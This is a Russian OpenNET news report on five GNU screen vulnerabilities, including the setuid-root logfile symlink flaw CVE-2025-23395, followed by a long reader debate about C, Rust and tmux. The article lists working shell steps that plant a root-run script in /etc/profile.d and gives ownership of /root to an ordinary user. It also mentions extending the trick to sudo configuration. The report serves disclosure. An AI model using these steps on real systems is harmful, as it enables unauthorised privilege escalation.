The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Уязвимость в GNU screen, позволяющая выполнить код с правами root

12.05.2025 23:11

В консольном оконном менеджере (мультиплексоре терминалов) GNU screen, предоставляющем многооконный интерфейс в консоли, выявлено 5 уязвимостей. Наиболее опасная проблема (CVE-2025-23395) позволяет получить права root в системе. Исправление включено в состав сегодняшнего выпуска screen 5.0.1 (уже доступен в Arch Linux и FreeBSD).

Уязвимость CVE-2025-23395 проявляется только в ветке screen 5.0.0, которая поставляется в Fedora Linux, Arch Linux, NetBSD, OpenBSD и Alpine. В Debian, Ubuntu, RHEL (EPEL 9), Gentoo, FreeBSD, SUSE/openSUSE и OpenWrt продолжает поставляться ветка screen 4.x. Эксплуатация уязвимости возможна в системах, устанавливающих исполняемый файл screen с флагом setuid root, например, в Arch Linux и NetBSD. В Fedora утилита ставится с флагом setgid для получения прав группы screen, позволяющих размещать сокеты в системном каталоге /run/screen, что ограничивает возможности атаки отказом в обслуживании.

Уязвимость вызвана тем, что при запуске с правами root функция logfile_reopen() выполняется до сброса привилегий, но обрабатывает данные в контексте каталогов текущего непривилегированного пользователя, запустившего screen. Примечательно, что начальное открытие лога производится с корректным сбросом привилегий, но при повторном открытии файла с логом сброс привилегий не производится.

Через манипуляции с включением режима журналирования содержимого сеанса пользователь может добиться записи данных в файл с правами root, при том, что сам файл может быть сохранён в домашнем каталоге пользователя. Атака сводится к удалению созданного файла с логом и его замене на символическую ссылку, указывающую на любой файл в системе. Если файл уже существует, в него без изменения владельца будут добавлены данные с содержимым экрана в сеансе screen. Если файл не существует, он будет создан с правами 0644, владельцем root и группой как у текущего пользователя.

Алгоритм атаки, создающей файл /etc/profile.d/exploit.sh с командой "chown $USER /root":

  • Создание сеанса screen с включением ведения лога
    
       $ screen -Logfile $HOME/screen.log
    
  • Нажатие комбинации клавиш Сtrl-a-H для включения лога.
  • Удаление файла с логом и его замена на символическую ссылку, которая приведёт к созданию файла /etc/profile.d/exploit.sh
    
        $ rm $HOME/screen.log; ln -s /etc/profile.d/exploit.sh $HOME/screen.log
    
  • Возвращение в сеанс screen и вывод на экран данных, которые будут записаны в файл с логом.
    
       $ echo -e "\nchown $USER /root;"
    
  • После того как к системе подключится реальный root, запустится сценарий /etc/profile.d/exploit.sh, который поменяет владельца для каталога /root.
    
       $ ls -lhd /root
       drwxr-x--- 5 user root 4.0K Dec 30  2020 .
    
  • По аналогии можно создать файлы конфигурации sudo или добавить команды в конец системных скриптов.

Менее опасные уязвимости в screen:

  • CVE-2025-46802 - перехват устройства TTY в многопользовательских сеансах (пользователь может добиться выставления для устройства /dev/pts/1 прав crw-rw-rw-). Проблема проявляется в ветках screen 4.x и 5.x.
  • CVE-2025-46803 - выставление по умолчанию прав 0622 на устройство PTY, допускающих запись любым пользователям. Проблема проявляются только в ветке screen 5.0.
  • CVE-2025-46804 - утечка информации о наличии файлов и каталогов в закрытых каталогах (при указании каталога для сокетов, используя переменную окружения SCREENDIR, утилита выдаёт разные тексты ошибок, позволяющие суть о наличии файлов и каталогов с данным именем). Проблема проявляется в ветках screen 4.x и 5.x.
  • CVE-2025-46805 - состояние гонки при отправке сигналов SIGCONT и SIGHUP, приводящее к отказу в обслуживании. Проблема проявляется в ветках screen 4.x и 5.x.
  • Некорректное использование функции strncpy (замена strcpy на strncpy без учёта разницы в обработке нулевых символов "\0"), приводящее к аварийному завершению при выполнении специально оформленных команд. Проблема проявляются только в ветке screen 5.0.

Уязвимости выявлены в ходе аудита кодовой базы GNU screen, проведённого командой, отвечающей за безопасность дистрибутива SUSE Linux. Разработчикам screen сведения об уязвимости были отправлены 7 февраля, но за отведённые 90 дней они так и не смогли подготовить исправления для всех уязвимостей и сотрудникам SUSE пришлось подготовить некоторые патчи самостоятельно. По мнению проводивших аудит исследователей, нынешние сопровождающие GNU screen недостаточно хорошо ориентируются в кодовой базе проекта и не способны полностью разобраться в выявленных проблемах безопасности.

  1. Главная ссылка к новости (https://security.opensuse.org/...)
  2. OpenNews: Уязвимость в tmux, эксплуатируемая через escape-последовательность
  3. OpenNews: Первый выпуск abduco, легковесной альтернативы tmux и screen
  4. OpenNews: Выпуск Xpra 6.0, аналога утилиты screen для GUI. Развитие Wprs, реализации Xpra для Wayland
  5. OpenNews: Выпуск консольного оконного менеджера GNU screen 5.0
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/63226-screen
Ключевые слова: screen
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (196) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Витюшка (?), 23:52, 12/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +8 +/
    Некорректное использование функции strncpy()...
     
     
  • 2.2, Аноним (2), 23:59, 12/05/2025 [^] [^^] [^^^] [ответить]  
  • +16 +/
    приводящее к аварийному завершению при выполнении специально оформленных команд.

    Вы же вроде в расте как раз такое и любите - чуть что - сразу паника (аварийное завершение)

     
     
  • 3.4, НяшМяш (ok), 00:17, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +5 +/
    А вы в сяшечке всё так же любите игнорировать предыдущие 4 уязвимости, лишь бы растовиков попинать. Почитал описание функции strncpy и за голову схватился - словосочетание "behavior undefined" встречается аж 3 раза. Мы уж лучше в расте красиво навернёмся с подробным стектрейсом и ошибкой, ничего при этом не испортив, чем как сяшечники звучно оподливившись в шаровары.
     
     
  • 4.7, Нуину (?), 00:48, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +5 +/
    > Мы уж лучше в расте красиво навернёмся с подробным стектрейсом и ошибкой

    Никто не мешает написать в строки, которые хранят в себе длину и убрать все эти ошибки на корню.

     
     
  • 5.24, Rev (ok), 02:14, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Да-да, только никто этого не делает :(
     
     
  • 6.84, anonymous (??), 12:08, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Делают.
     
  • 6.87, Аноним (-), 12:24, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +4 +/
    > Да-да, только никто этого не делает :(

    В том то и проблема что делают.
    Каждый раз заново и каждый раз получается уродский велосипед.
    А потом RCE в самописном split string.

     
  • 6.132, Аноним (132), 17:31, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Да-да, только никто этого не делает :(

    Гнусный п...ж, я себе именно  так и сделал, завел struct с указателем на строку и .len - и вот оно. Но увы - это приносит часть "паскалепроблем". В том смысле что отдать такое допустим системным вызовам и функциям либсы и проч - несколько сложнее.

    Более того - так можно и .maxlen хранить и юзать всякие getters/setters и тому подобное ибо напрямую вы с таким типом не сможете работать так сразу - защитив себя от прострела пяток. Но к сожалению этот маневр не бесплатен и начинает попахивать занудством типа паскаля или хруста.

     
     
  • 7.135, Аноним (-), 17:36, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Гнусный п...ж, я себе именно  так и сделал, завел struct с указателем на строку и .len - и вот оно.

    Т.е написал очередной кривой велосипед.
    А нормально оно должно быть сразу в std. Ну если говорить о нормальных языках, а не о "недоязыке ассемблере переростке".

    >  Но увы - это приносит часть "паскалепроблем". В том смысле что отдать такое допустим системным вызовам и функциям либсы и проч - несколько сложнее.

    Если бы либсы писалась с такой же парадигмой и там были стандартные (описанные в стандарте строки) - то проблем бы не возникло.

    > Но к сожалению этот маневр не бесплатен и начинает попахивать занудством типа паскаля или хруста.

    Занудством?
    Лучше быть занудой чем бракоделом))

     
     
  • 8.176, Аноним (-), 22:41, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    В каком-то роде - да Но си прекрасен тем что как раз нет переотожраных дефолтны... большой текст свёрнут, показать
     
     
  • 9.189, Аноним (189), 23:46, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Это проблема только для первой программы на дотнете или жабе Вторая программа б... большой текст свёрнут, показать
     
     
  • 10.203, Совершенно другой аноним (?), 09:22, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    А где Вы там увидели C там как-раз С , с std string и std vector Для С уже... текст свёрнут, показать
     
     
  • 11.204, Аноним (189), 11:29, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Я не помню точно, вроде второй проект был на чистом си, но могу ошибаться В люб... текст свёрнут, показать
     
  • 10.219, Аноним (-), 21:30, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    К счастью у меня таких программ - ноль, и я не имею тех проблем как категории ... большой текст свёрнут, показать
     
     
  • 11.224, Аноним (189), 23:16, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Это точно так же повод не ставить gtk и qt, а то что это они гигабайты кода став... большой текст свёрнут, показать
     
  • 9.207, Аноним (-), 12:22, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Ну хоть в чем-то мы сошлись во мнении О бог-машина Целый 100 мегабайт 1 Тут в... большой текст свёрнут, показать
     
  • 5.49, Аноним (49), 08:10, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • –11 +/
    > Никто не мешает написать в строки, которые хранят в себе длину и убрать все эти ошибки на корню

    Убрать ошибку на корню - это юзать нормальный язык вместо С.

    Но это ж надо уметь делать выводы из полувека наступаней на грабли...

     
     
  • 6.133, Аноним (132), 17:33, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Убрать ошибку на корню - это юзать нормальный язык вместо С.

    Странно, но вон тот питонячий бот умер при первой попытке потрогать его палочкой. Оказывается хреново валидировать пользовательские данные можно не только на си :)

     
     
  • 7.144, Аноним (144), 17:58, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Это правда, писать плохой код можно на любом языке. Так что пока компилятор не начнёт бить кодеров линейкой по пальцам, хороший код не появится.
     
     
  • 8.177, Аноним (-), 22:45, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Как вы себе представляете компилятор знающий вместо програмера как валидировать ... текст свёрнут, показать
     
     
  • 9.190, Аноним (189), 23:52, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Вот действительно, как Проблемыне места си уже давным давно изучены, систематез... текст свёрнут, показать
     
  • 5.75, Аноним (-), 11:11, 13/05/2025 Скрыто ботом-модератором     [к модератору]
  • +/
     
  • 5.88, Аноним (88), 12:30, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Никто не мешает написать в строки, которые хранят в себе длину и убрать все эти ошибки

    Мешает традиционная сишечная халатность.

    Писать нормальный строковый тип - это же что-то там шевелиться надо, тестировать, да и мысли крамольные в голову лезут типа "ну и накой я изобретаю велосипед вместо использования C++?".

    А вот православный пердолинг с буферами и str*cpy() - вот он, уже готовый под рукой!

     
  • 5.159, _ (??), 20:17, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Никто не мешает написать в строки, которые хранят в себе длину и убрать все эти ошибки на корню.

    Pascal уже есть ;-)
    Он Сям - ровесник. И что - помогло? :)

    Не упрощайте, нет в практическом программировании ничего простого. Увы.

     
     
  • 6.165, Нуину (?), 21:26, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >> Никто не мешает написать в строки, которые хранят в себе длину и убрать все эти ошибки на корню.
    > Pascal уже есть ;-)
    > Он Сям - ровесник. И что - помогло? :)

    Помогло, выше уже скидывал ссылку https://www.adacore.com/uploads/books/pdf/Safe_And_Secure-Russian.pdf

    К тому же в любом современном яп есть динамически расширяемые массивы и строки.

     
     
  • 7.178, Аноним (-), 22:48, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >> Pascal уже есть ;-)
    >> Он Сям - ровесник. И что - помогло? :)
    > Помогло, выше уже скидывал ссылку https://www.adacore.com/uploads/books/pdf/Safe_And_Secure-Russian.pdf

    Если это про язык Ада, то програмеры на нем - угробили Arian V. Заскорив самый дорогой баг в истории человечества, на минуточку.

     
     
  • 8.216, Нуину (?), 19:32, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    А причем там Ада конкретно Суммарно на си баги дороже вышли все ... текст свёрнут, показать
     
  • 8.217, Нуину (?), 19:36, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    То есть программисты убрали ненужный код, который оказался нужным, и все сломало... текст свёрнут, показать
     
  • 4.12, Нуину (?), 01:18, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +12 +/
    > Мы уж лучше в расте красиво навернёмся с подробным стектрейсом и ошибкой,

    Ну, судя по тому, что никто не использует rustscreen или что-то подобное, похоже растовщики по прежнему наворачиваются с подробным стектрейсом и ошибкой.

    >  ничего при этом не испортив

    Да, сложно испортить код, которого нет.

     
     
  • 5.55, Аноним (-), 09:21, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Молодой человек не слышал про Zellij?
     
     
  • 6.62, Аноним (62), 10:01, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Не трать зря время. По расту методичка такая: на нём ничего не написано, а если что-то и написано, то это безоговорочно какая-то смешная или ненужная ерунда для пацанят на электроскутерах.
     
  • 6.111, Аноним (111), 13:53, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Нет, не слышали. Что-то ещё, кроме фаерфокса, вспомните?
     
  • 6.134, Аноним (-), 17:36, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Молодой человек не слышал про Zellij?

    Что это еще за зелибоба с невыговариваемым названием? Может, хрустикам для начала научиться - хотя-бы выбирать нормальное название проекта, более-менее описывающее его функциональность? Видите, программирование надо начинать с БАЗОВЫХ вещей. Я понимаю что вы только что разучили кучу заклинаний, уверены что умный компилер вас от всего спасет, так что весь мир у ваших ног. Но есть нюансы... :)

    Вон там в гугле тоже мир захватывали фуксией. За много лет захватили - полторы фоторамки. А вы даже и не гугл, у вас ресурсов еще меньше. Что там будет у ваших ног? Пара окурков? Это конечно тоже часть мира, но закватывать такое...

     
  • 6.151, Нуину (?), 19:52, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Впервый раз услышал. Кого не спрошу все либо на tmux, либо на screen.
     
     
  • 7.191, Аноним (189), 23:53, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    А вы в блокнотик себе запишите, чтобы в следуюещем месте сказать "второй раз об этом слышу".
     
  • 5.91, Аноним (-), 12:34, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > Ну, судя по тому, что никто не использует rustscreen

    Ой, а типа gnu screen кто-то использует))
    Не, ну найдутся пару извращенцев, которым любой kaл, лишь бы gnu... но все нормальные пользуются tmux.

    > Да, сложно испортить код, которого нет.

    Таки есть. Zellij например. Или  wezterm.
    Но откуда хейтерочку об этом знать.

     
     
  • 6.108, streametch (?), 13:33, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/

    >> Не, ну найдутся пару извращенцев, которым любой kaл, лишь бы gnu... но
    >> все нормальные пользуются tmux.

    screen умеет открывать COM порт, а tmux попсовый нет, вот и думай что тру, а что kал

     
     
  • 7.118, Аноним (-), 14:32, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > screen умеет открывать COM порт, а tmux попсовый нет,

    ух, вот целый день сижу и компорты открываю)

    > вот и думай что тру, а что kал

    Москвич-408 можно было заправлять бензом с ослиной моchой, но почему-то очереди из желающих окунуться в прдолинг с устаревшей техникой как-то не наблюдается.
    Ты бы еще поныл, что в городе лошадь припарковать негде и овес не продают на каждом шагу.


     
     
  • 8.136, Аноним (-), 17:42, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Для одноплатников - актуально Сериальные шнурки так то довольно актуальная штук... большой текст свёрнут, показать
     
     
  • 9.145, Аноним (144), 18:09, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Чтобы посмотреть 171 на чем заткнулся старт системы на вон том одноплатнике 1... текст свёрнут, показать
     
     
  • 10.179, Аноним (-), 22:53, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    В принципе - да, но в целом бывает удобно его прицепить, раз уж он это может По... большой текст свёрнут, показать
     
  • 9.166, Аноним (166), 21:28, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Для уартов есть picocom, зачем эта функциональность в screen ... текст свёрнут, показать
     
     
  • 10.180, Аноним (-), 22:54, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    На случай если этой штукой захочется порулить более плотно и более продолжительн... текст свёрнут, показать
     
     
  • 11.184, Аноним (166), 23:20, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Запускаешь tmux, в нем запускаешь picocom, дальше как обычно Заскриптовать если... текст свёрнут, показать
     
     
  • 12.220, Аноним (-), 21:32, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Можно много чего Но зачем напрягаться больше, если уже есть screen ... текст свёрнут, показать
     
  • 7.124, Аноним (-), 15:49, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Не, ну найдутся пару извращенцев
    > screen умеет открывать COM порт

    А вот и первый пожаловал :)

     
  • 7.157, _ (??), 20:14, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > screen умеет открывать COM порт, а tmux попсовый нет, вот и думай что тру, а что kал

    "COM порт" - охренеть ... я такого на лаптопчегах уже с десятилетие не видел :)
    Да и в серверах - только если карту воткнёшь ...

    И почему поддержка этого - важна?

    А если это важно, то почему я не могу поставить какой нить тоненький tio и перекрыть вообще всё, что можно с последовательным портом делать?

    По секрету: он вообще "was originally created as an alternative to screen for connecting to serial devices when used in combination with tmux."

    Дарю, оно вещЪ! :)
    Ну мне по-крайней мере хватило чуть более чем полностью :)

     
     
  • 8.182, RHEL fan (?), 23:11, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    В сетевом оборудовании зато их дофига еще... текст свёрнут, показать
     
  • 7.173, Аноним (2), 22:25, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Для работы с com-портами в любой UNIX-системе есть специальные программы, которые можно запускать в tmux.
     
  • 6.174, Нуину (?), 22:26, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Таки есть. Zellij например. Или  wezterm.

    А кто ими реально пользуется в работе? Еще раз почти все примеры из жизни - это tmux или screen.

     
  • 6.175, Нуину (?), 22:28, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > Но откуда хейтерочку об этом знать.
    > хейтерочку
    > чем как сяшечники звучно оподливившись в шаровары.

    А эта фраза растовщичка нечто другое? Тут хейта никакого нет? Или это другое?

     
     
  • 7.192, Аноним (189), 00:02, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Я хоть и не пишу на расте, и вообще считаю, что лучше бы вместо раста был бы ATS... большой текст свёрнут, показать
     
     
  • 8.198, Нуину (?), 02:38, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Вот именно Форсится Оказывается без unsafe ничего не написать И нужно быть вн... текст свёрнут, показать
     
     
  • 9.206, Аноним (189), 11:48, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Пока не будет лечения от рака, все больницы закрыть, врачей разогнать Давайте, п... большой текст свёрнут, показать
     
     
  • 10.212, Совершенно другой аноним (?), 14:05, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    По статье мне стало понятно только то, что автор статьи не читает документацию, ... текст свёрнут, показать
     
     
  • 11.225, Аноним (189), 23:26, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Так в этом и смысл Для си нужно каждую программу дотошно проверять, и то, легко... текст свёрнут, показать
     
  • 10.214, Нуину (?), 16:20, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Как в логических ошибках будет помогать компилятор того же раста Пример в студи... текст свёрнут, показать
     
     
  • 11.226, Аноним (189), 23:29, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Элементарно, сделав некорректные состояния невыразимыми Вот пример для f , на r... текст свёрнут, показать
     
     
  • 12.229, Нуину (?), 00:31, 15/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    А причем здесь это Вот есть строка длины n, известной во время исполнения Расс... текст свёрнут, показать
     
     
  • 13.233, Аноним (189), 10:43, 15/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Зато поможет любой язык с зависимыми типами, будь то Idris или ATS Я о зависимы... текст свёрнут, показать
     
     
  • 14.237, _ (??), 18:40, 15/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Для того чтоб они помогли всего то и нужна сущая мелочь - нужно чтоб на них нача... текст свёрнут, показать
     
  • 14.238, Нуину (?), 18:50, 15/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Уже давно там Только тяготею к более практичным вещам Мне ехать, а не шашечки ... текст свёрнут, показать
     
  • 4.21, _kp (ok), 01:53, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Так есть и другие способы работы со строками, даже не в C++, но и в С, и в том числе на микроконтроллерах.
    А тащить бородатые "стандартные функции", которые на каждый чих надо обкладывать проверками, но на это  все равно где нибудь забьют, так себе стиль.
     
     
  • 5.48, анонимммм (?), 07:17, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Стандартные строковые функции - идеальны. Делают ровно то, что заявляют. Если не хочется обкладывать код проверками, то эти проверки придётся интегрировать в сами функции, которые тем не менее придётся обкладывать проверками.

    "Так себе стиль" - просто норма жизни. Без проверок нельзя.

     
     
  • 6.92, Аноним (189), 12:36, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >Стандартные строковые функции - идеальны. Делают ровно то, что заявляют

    Си идеален, делает то что заявляет. Никто ведь не заявлял, что программы на си будут корректны, правильно? Правильно. Так что всё хорошо, программы на си для того и пишутся, чтобы портить память
    >которые тем не менее придётся обкладывать проверками.

    Внормальных языках будет ошибка компиляции, если вы проверку забудете.

     
  • 6.116, Аноним (166), 14:23, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Легендарные сишные строковые функции, как будто специально придуманные для переполнения буферов.

    Особенно идеальна strncpy. Очевидно, что функция с таким названием копирует строку? А нет, копирует не более n ненулевых байтов из источника и добивает буфер до n нулями (зачем?), ломая инвариант - в буфере после копирования не строка.

    Отличная функция для строковой библиотеки, чувствуется могучий дедовский дизайн - собрать столько бесполезной функциональности в одной функции.

     
     
  • 7.156, _ (??), 20:03, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Ты просто не знаешь как CPU строки обрабатывает...
    А значит тебе непонятно. Вот ты и злишься. Уже признал тупыми всех, хотя единственный тупой - это ты сам :)

    Не надо тебе в Си.
    Тебе даже в Питон - не надо.
    Дайте ему Logo какой нить :)))))

     
     
  • 8.160, Аноним (160), 20:44, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    CPU никак строки не обрабатывает, нет у него для этого команд ... текст свёрнут, показать
     
     
  • 9.172, Аноним (-), 22:25, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    А это что SSE4 2 added STTNI String and Text New Instructions , several new i... текст свёрнут, показать
     
     
  • 10.194, Аноним (189), 00:08, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Однажды я узнал один ужасающий истина Для того, чтобы пользоваться интернетом, ... текст свёрнут, показать
     
  • 4.30, Оно ним (?), 03:00, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    А из предыдущих четырёх раст бы защитил от одной - с состоянием гонки. А остальные точно так же и в расте были бы.
     
  • 4.45, Аноним (-), 06:26, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Behavior undefined, это нормально для системного языка программирования. Ненормально когда люди проектирующие язык программирования пытаются полностью устранить Behavior undefined.

    Behavior undefined - это просто объективное явление, его невозможно полностью устранить. И наличие в языке behavior undefined, не делает язык автоматически плохим. Вам надо уметь гибко мыслить, шаблонное мышление, это плохо.

     
     
  • 5.50, anonymous (??), 08:23, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Behavior undefined, это нормально для системного языка программирования

    Ага. Допускаешь ошибку и у тебя удаляет все файлы из корня. Почему? Потому что поведение неопределено - компилятор что хочет, то и делает.

     
     
  • 6.93, Аноним (93), 12:36, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Ага. Допускаешь ошибку и у тебя удаляет все файлы из корня.

    ага, вступил не туда и остался в лучшем случае без пятки, чвкп*дор :)

     
  • 5.95, Аноним (189), 12:40, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >Behavior undefined, это нормально для системного языка программирования

    Нет, не нормально. Неопределённое поведение нужно было для запуска си на разных экзотических архитектурах. Сейчас, когда приличная часть этих архитектур сохранилась разве что в музеях, си продолжает хранить в себе те компромисы, которые давным давно уже никому не нужы

     
     
  • 6.113, Аноним (113), 14:07, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Так уцелевшие архитектуры тоже содержат в себе кучу легаси.

     
     
  • 7.117, Аноним (189), 14:26, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Вопрос не в наличии легаси как такогового, вопрос в том, что при программировании в 2025 году под современный гну/линукс, приходится сталквиваться с ограничениями прямоиком из 1970 года, в перемешку с ограничениями всяких экзотических архитектур типа avr. Если бы screen активно исползьовался под тем допотопным юниксом или на микроконтроллере, то это могло бы иметь смысл, а так это ограничения ради ограничений.
     
     
  • 8.200, Аноним (-), 05:40, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    У языка Си нет ограничений Поэтому программист языка Си должен быть дисциплинир... текст свёрнут, показать
     
     
  • 9.227, Аноним (189), 23:30, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Должен, но не обязан Никто не проверит, что конкретная строчка кода не содержит... текст свёрнут, показать
     
  • 4.51, Аноним (160), 08:32, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    По-хорошему, следует признаться себе, что никаких «строк» (в нормальном понимании) в сишечке нет, и избегать библиотечных функций str* как огня.
    Но — зачем напрягаться. Что дедам было хорошо, и нам сгодится.
     
     
  • 5.69, 12yoexpert (ok), 10:51, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    или уроки учи, str* ты наш
     
     
  • 6.80, Аноним (160), 11:54, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Деды обижаются.
     
  • 3.5, Аноним (5), 00:30, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +5 +/
    >> приводящее к аварийному завершению при выполнении специально оформленных команд.
    >> Bad strncpy() Use Leads to Crashes when Sending Commands
    > Вы же вроде в расте как раз такое и любите - чуть что - сразу паника (аварийное завершение)

    Я расстрою очередного (к)експерта, но panic - это _контролируемое_ завершение программой самой себя, в случае непредвиденной (или осознанно проигнорированной погроммистом) ошибки-ситуации.

    А не вот это вот любимое Настоящими Погроммистами "мы тут немного попортили память за пределами буфера, вследствии чего код далее делал незнамо что, пока не прилетел SIGABRT" ...

     
     
  • 4.20, Аноним (2), 01:50, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Дак ведь SIGABRT тоже на сишке написан (в ядре), что не нравится то?
     
     
  • 5.137, Аноним (-), 17:45, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Дак ведь SIGABRT тоже на сишке написан (в ядре), что не нравится то?

    И примерно настолько же контролируемый - как и panic() хруста по смыслу :). Т.е. если прогер хотел - может перехватить и обработать.

     
     
  • 6.158, Аноним (-), 20:15, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Сишник, проснись! Что ты собираешься обрабатывать, когда у тебя память испорчена? Это в Расте панику можно перехватить и продолжить работу.
     
     
  • 7.183, Аноним (183), 23:19, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Сишник, проснись! Что ты собираешься обрабатывать, когда у тебя память испорчена? Это
    > в Расте панику можно перехватить и продолжить работу.

    SIGSEGV/SIGABRT тоже можно - перехватить. И как вы собираетесь работу продолжать при panic()? Насколько я вижу - в ядре линух сумрачные гении родили новую семантику try_* с ... практически сишной семантикой "а что если память не выделилась?!". Вот как раз чтобы нормально реагировать на случаи "а что если нет?!". И вот блин за что боролись, если сделали - ТО ЖЕ САМОЕ?!

     
  • 4.22, _kp (ok), 02:00, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > panic - это _контролируемое_ завершение..

    Но не всегда уместное. А вне десктопа и совсем не уместное.

    > немного попортили память за пределами буфера

    тут не ручной перезапуск уместен, а замена ПО требуется.
    Ну, можно же и на Си нормально работь со строками, без неандертальских функций и тупых строковых буферов. Ну, ладно, хотя бы  в коде не требующего сверхбыстродействия.

     
     
  • 5.32, Аноним (144), 03:27, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > А вне десктопа и совсем не уместное.

    Ты всё перепутал. Это как раз на десктопе таким пугать пользователя нельзя. А на сервере я как раз хочу чтобы упало, а не тихонько неизвестно как то ли работало, то ли память портило. Как падения софта мониторить давно придумали и решили сотней разных способов. А вот как мониторить порчу памяти до сих пор не договорились.

     
     
  • 6.122, _kp (ok), 15:18, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > на сервере я как раз хочу чтобы упало

    к вменяемому серверу прилагается админ. Проблема закрыта.

    А если например контроллер теплицы, или контроллер съёмки с телескопа, то если и упал, поднялся и снова работать. А лучше вовсе не падать.

    > как мониторить порчу памяти до сих пор не договорились.

    Не использовать без обоснования ретро функции, и нет проблемы.


     
     
  • 7.147, Аноним (144), 18:15, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > А лучше вовсе не падать.

